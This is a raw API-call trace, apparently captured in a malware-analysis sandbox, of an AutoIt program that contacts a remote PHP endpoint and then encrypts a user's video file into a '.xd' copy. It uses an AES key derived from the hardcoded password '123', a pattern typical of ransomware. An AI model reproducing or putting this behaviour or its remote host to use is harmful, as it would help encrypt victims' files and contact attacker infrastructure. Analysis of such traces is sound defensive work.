cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.133] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.133] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.133] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.133] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.133] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c) returned 1 [0067.133] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.133] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.133] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.135] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.135] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.135] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.136] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.136] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.136] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.136] CloseHandle (hObject=0x0) returned 0 [0067.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.136] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0067.136] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.136] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.136] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.136] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.136] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.137] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.137] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.143] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.143] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.143] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.143] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.143] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.143] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.144] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.144] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0067.144] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.144] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.144] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.145] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.145] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.145] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.145] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.145] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.145] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.145] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.146] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.146] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.146] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.146] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.146] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.146] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.148] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.148] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.148] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.148] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.149] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.153] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.153] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.153] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629560, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.158] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.158] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.158] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.158] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.158] CryptHashData (hHash=0x164c270, pbData=0x1629700, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.158] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.158] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.158] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.159] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.204] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.204] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.204] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621720, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.204] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.204] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c270, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0067.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.205] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.205] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.205] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.205] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.205] CryptDestroyHash (hHash=0x164c270) returned 1 [0067.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.206] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\t9zy39_ipdmytray.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.206] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.206] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.206] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0067.207] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\t9zy39_ipdmytray.flv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.211] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.211] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x38eb, lpOverlapped=0x0) returned 1 [0067.212] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.214] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 